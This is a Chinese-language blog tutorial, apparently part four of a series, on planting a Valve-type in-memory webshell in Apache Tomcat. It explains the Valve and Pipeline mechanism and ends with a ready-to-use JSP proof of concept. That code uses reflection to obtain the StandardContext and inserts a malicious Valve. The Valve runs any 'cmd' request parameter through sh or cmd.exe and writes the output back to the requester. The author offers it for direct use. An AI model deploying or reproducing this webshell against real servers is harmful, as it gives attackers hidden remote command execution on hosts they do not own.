Tomcat内存马(四)


tomcat内存马第四式 valve型内存马,自己写的很水,直接用就行了

valve内存马是什么

Valve是对Container组件的一种拓展机制,通过多个Valve组装起来放到了pipeline里面。tomcat中的Container型容器就是通过pipeline与valve执行的,例如struts2里的拦截器机制一样,pipeline相当于拦截器链(filterchain),valve相当于拦截器(filter)

valve接口里有invoke方法:

1
2
public void invoke(Request request, Response response)
throws IOException, ServletException;

只要向Container/Host/Wrapper/Engine这四种Container组件中的任意一种的pipeline中插入我们自定义的valve,也可以达到和filter型一样的效果

如果filter插入到了Engine下的话,则会对engine下的所有context生效

当然,重启tomcat肯定是会失效的

分析

进到valve接口里:

一共就几个方法:

1
2
3
4
5
6
7
8
public interface Valve {
Valve getNext();
void setNext(Valve valve);
void backgroundProcess();
void invoke(Request request, Response response)
throws IOException, ServletException;
boolean isAsyncSupported();
}

关键方法就是invoke,通过调用this.getNext().invoke(req, resp)能够将请求传入下一个valve,构成pipeline管道,上文说过,这起到类似于filterchain的作用

但是我们一般不用这个接口来打内存马,而是通过ValveBase类,它是对Valve接口的一个扩充,利用它新建一个valve:

1
2
3
4
5
6
7
8
9
10
11
12
public class EvilValve extends ValveBase{
@Override
public void invoke(Request request, Response response) {
try{
Runtime.getRuntime().exec("calc");
this.getNext().invoke(request, response);
}catch (Exception e){
e.printStackTrace();
}
}
}

那我们要如何添加valve呢?

那肯定有add方法(前面三个都有add方法,那这个肯定也有),就在StandardPipeline这个类当中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public void addValve(Valve valve) {

// Validate that we can add this Valve
if (valve instanceof Contained) {
((Contained) valve).setContainer(this.container);
}

// Start the new component if necessary
if (getState().isAvailable()) {
if (valve instanceof Lifecycle) {
try {
((Lifecycle) valve).start();
} catch (LifecycleException e) {
log.error(sm.getString("standardPipeline.valve.start"), e);
}
}
}

// Add this Valve to the set associated with this Pipeline
if (first == null) {
first = valve;
valve.setNext(basic);
} else {
Valve current = first;
while (current != null) {
if (current.getNext() == basic) {
current.setNext(valve);
valve.setNext(basic);
break;
}
current = current.getNext();
}
}

container.fireContainerEvent(Container.ADD_VALVE_EVENT, valve);
}

上文说过,只要向Container/Host/Wrapper/Engine这四种Container组件中的任意一种的pipeline中插入我们自定义的valve,就能执行了

著需要获取这四个组件中的一个,并且调用add方法即可

流程如下:

  • 通过反射获取Request从而获得StandardContext(没错,又是他)
  • 从StandardContext中获取StandardPipeline
  • addValve

恶意valve:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class myValue extends ValveBase{
@Override
public void invoke(Request req, Response resp) throws IOException, ServletException {
if (req.getParameter("cmd") != null) {
InputStream in = java.lang.Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String o = s.hasNext() ? s.next() : "";
resp.getWriter().write(o);
}
this.getNext().invoke(req, resp);
}
}
%>

addValve:

1
2
3
4
5
6
7
Valve myValve = new myValue();
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
Pipeline pipeline = context.getPipeline();
pipeline.addValve(myValve);

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.mapper.MappingData" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>

<%!public class myValve extends ValveBase{
@Override
public void invoke(Request req, Response resp) throws IOException, ServletException {
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
InputStream in = isLinux ? Runtime.getRuntime().exec(new String[]{"sh","-c",req.getParameter("cmd")}).getInputStream() : Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String o = s.hasNext() ? s.next() : "";
resp.getWriter().write(o);
}
this.getNext().invoke(req, resp);
}
}
%>

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
Pipeline pipeline = context.getPipeline();
Valve valve = new myValve();
pipeline.addValve(valve);
%>

很遗憾,只能在这个test.jsp里用,所以严格意义上不能说是内存马了,访问后也不能在别的路径中打:


参考文章: